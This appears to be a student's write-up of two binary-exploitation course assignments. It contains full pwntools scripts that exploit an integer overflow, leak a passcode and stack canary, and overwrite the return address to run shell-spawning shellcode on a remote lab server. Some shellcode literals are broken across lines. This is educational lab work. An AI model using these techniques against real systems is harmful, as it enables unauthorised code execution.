Assignment 1

Flag : assignment1_flag{413719465156712721141172478 3}
Exploit code
```python
from pwn import *

# Set up the remote connection
r = remote('221.149.226.120', 31337)

# Receive the initial message
r.recvuntil(b'input length : \n')

# Send the payload length
r.sendline(b'-1')

# Receive the stack address leak
leak = r.recvuntil(b'\n')[:-1]
leak = leak.split(b':')[1].strip()
leak = int(leak, 16)

# Shellcode to spawn a shell
shellcode =
b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x
40\x40\xcd\x80"

ex = shellcode + b'a'*(40-len(shellcode))    # buf
ex += b'b'*4  # dummy int
ex += b'c'*4  # sfp
ex += p32(leak)

# Send the payload
r.sendline(ex)

# Interact with the spawned shell
r.interactive()
```

First, sending -1 as `len` input value bypasses the length check because checks only consider positive values greater than 40 bytes. By sending a negative value, `read` function will interpret it as a large unsigned value(0xFFFFFFFF) due to integer overflow, and this will allow input to exceed the buffer size and cause stack buffer overflow.

So now, it's time to send malicious `input` . Now that we can pass input as more than 40 bytes and `read` function will accept all the bytes and store it in stack area, we can construct the input value to 1) store malicious shellcode + dummy data to construct 40 bytes of input value 2) dummy data 4 bytes to mock `int len` value 3) dummy data 4 bytes to mock SFP value 4) overwrite RET value to point `input` value's pointer so that after main function stack frame finishes it can execute `input` pointer which shell code is located.

Assignment 2

Assignment2_flag{108003858245022064942086339 5}
Exploit code
```python
from pwn import *

# Set up the remote connection
r = remote('221.149.226.120', 31338)

# Receive the initial message
r.recvuntil(b"[Professor's grade management program]\n\n")

# Step 1: Send option 1 to input student information with maximum values
print("🔥loop1")
r.recvuntil(b"1: Input\n2: Print info\n3: graduate_school_application\n")
r.sendline(b'1')
r.recvuntil(b"enter below informations.\n\n")
r.recvuntil(b"[student number]\n")
r.sendline(b'4369')  # Enter a valid student number
r.recvuntil(b"[name]\n")
r.send(b'A' * 40)  # Fill the name field with maximum characters
r.recvuntil(b"[grade]\n")
r.send(b'B'*4)  # Enter a valid grade (not A+)

# Step 2: Send option 2 to print student information
print("🔥loop2")
r.recvuntil(b"1: Input\n2: Print info\n3: graduate_school_application\n")
r.sendline(b'2')
leaked_passcode1 = r.recvuntil(b'\n')[:-1]
leaked_passcode1 = leaked_passcode1.split(b':')[1].strip()
print("leaked data:", leaked_passcode1)
leaked_passcode1 = leaked_passcode1[40:44]
print("leaked pass code:", leaked_passcode1)
r.recvuntil(b"\n")
```

```
print("🔥loop3")
r.recvuntil(b"1: Input\n2: Print info\n3: graduate_school_application\n")
r.sendline(b'1')
r.recvuntil(b"enter below informations.\n\n")
r.recvuntil(b"[student number]\n")
r.sendline(b'2020170365')  # Enter a valid student number
r.recvuntil(b"[name]\n")
r.send(b'gayeong')  # Fill the name field with maximum characters
r.recvuntil(b"[grade]\n")
r.send(b'A+')  # Enter a valid grade (not A+)
r.recvuntil(b"To award an A+ grade, please enter the passcode:\n")
r.sendline(leaked_passcode1)  # Send the leaked passcode

print("🔥loop4")
r.recvuntil(b"1: Input\n2: Print info\n3: graduate_school_application\n")
r.sendline(b'3')
r.recvuntil(b"\n")
r.recvuntil(b"\n")
ex = b'A'*40 # char name[40];
ex += b'B'*4 # char passcode[4];
ex += b'C'*4 #int student_number;
ex += b'A+'*2 #char grade[4];
ex += b'E' # canary first byte buffer
r.send(ex)  # Fill the name field with maximum characters
r.recvuntil(b"\n")
r.recvuntil(b"\n")
leak_stack = r.recvuntil(b'\n')[:-1]
name_pointer = int(leak_stack, 16)
print("leak stack",leak_stack)
print("name_pointer",name_pointer)

# Step 2: Send option 2 to print student information
print("🔥loop5")
r.recvuntil(b"1: Input\n2: Print info\n3: graduate_school_application\n")
r.sendline(b'2')
r.recvuntil(b'E')
leak = r.recv(3)
print("leaked data:", leak)
canary = b"\x00" +leak
print("leaked canary code:", hex(u32(canary)))
r.recvuntil(b"\n")

# Step 2: Send option 2 to print student information
```

```
print("🔥loop6")
r.recvuntil(b"1: Input\n2: Print info\n3: graduate_school_application\n")
r.sendline(b'3')
r.recvuntil(b"\n")
r.recvuntil(b"\n")
ex = b'A'*40 # char name[40];
ex += b'B'*4 # char passcode[4];
ex += b'C'*4 #int student_number;
ex += b'A+'*2 #char grade[4];
ex += canary
ex+= b'b'*16 #SFP
r.send(ex)  # Fill the name field with maximum characters
r.recvuntil(b"\n")
r.recvuntil(b"\n")
leak_stack = r.recvuntil(b'\n')[:-1]
name_pointer = int(leak_stack, 16)
print("leak stack",leak_stack)
print("name_pointer",name_pointer)


# Step 2: Send option 2 to print student information
print("🔥loop7")
r.recvuntil(b"1: Input\n2: Print info\n3: graduate_school_application\n")
r.sendline(b'2')
r.recvuntil(b'\n')
r.recvuntil(b"\n")
print("pass:")

# Step 2: Send option 2 to print student information
print("🔥loop8")
r.recvuntil(b"1: Input\n2: Print info\n3: graduate_school_application\n")
r.sendline(b'2')
leaked_passcode1 = r.recvuntil(b'\n')[:-1]
leaked_passcode1 = leaked_passcode1.split(b':')[1].strip()
print("leaked data:", leaked_passcode1)
leaked_passcode1 = leaked_passcode1[40:44]
print("leaked pass code:", leaked_passcode1)
r.recvuntil(b"\n")

# Step 2: Send option 2 to print student information
print("🔥loop9")
r.recvuntil(b"1: Input\n2: Print info\n3: graduate_school_application\n")
r.sendline(b'1')
r.recvuntil(b"enter below informations.\n\n")
```

```
r.recvuntil(b"[student number]\n")
r.sendline(b'2020170365')  # Enter a valid student number
r.recvuntil(b"[name]\n")
r.send(b'gayeong')  # Fill the name field with maximum characters
r.recvuntil(b"[grade]\n")
r.send(b'A+')  # Enter a valid grade (not A+)
r.recvuntil(b"To award an A+ grade, please enter the passcode:\n")
r.sendline(leaked_passcode1)  # Send the leaked passcode


print("🔥loop10")
r.recvuntil(b"1: Input\n2: Print info\n3: graduate_school_application\n")
r.sendline(b'3')
r.recvuntil(b"\n")
r.recvuntil(b"\n")
# Shellcode to spawn a shell
shellcode =
b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x
40\x40\xcd\x80"
ex = shellcode + b'a'*(52-len(shellcode))
ex += canary
ex += b'b'*4 #SFP
ex += p32(name_pointer)  #RET
print("ex", ex)  # buf
r.sendline(ex)
r.recvuntil(b"\n")
r.recvuntil(b"\n")
leak_stack = r.recvuntil(b'\n')[:-1]
print("leak stack",leak_stack)


# # Interact with the spawned shell
r.interactive()
```

First, we leaked the passkey by filling all the null bytes. In loop 1, by passing the maximum length of bytes in the name memory area, during loop 2, the line `printf("name : %s\n", student->name);` not only prints the name but also the passkey. This way, during loop 3, we were able to successfully modify the grade to A+ by passing the passkey that we retrieved in loop 2.

Second, we leaked the canary value. In loop 4, while applying to graduate school, there is another vulnerability where we can pass a name of up to 100 bytes. We constructed a payload of 52 bytes for the student struct, 1 byte of the canary null byte, and retrieved the other 3 bytes

of the canary value. In loop 5, by chunking other dummy data, we successfully obtained the complete canary value.

Third, we executed a malicious shellcode after the main function finished by overwriting the RET value. From steps 1 and 2, we obtained the passkey and the canary value. Additionally, due to the line `printf("%p\\n", &student->name);`, we know the pointer value of the name.

We constructed the malicious payload as follows:

```
ex = shellcode + b'a'*(52-len(shellcode))
ex += canary
ex += b'b'*4 #SFP
ex += p32(name_pointer)  #RET
```

This payload contains the shellcode, followed by dummy data to build the 52 bytes of the student struct. It then adds the canary that we leaked previously to prevent the program from halting. Finally, it includes 4 bytes of dummy SFP and the RET value as the name pointer value.

After the main function ends, it jumps to the name pointer address and executes the malicious shellcode.

By sending this payload using `r.sendline(ex)`, we successfully exploit the vulnerabilities and gain control of the program's execution flow.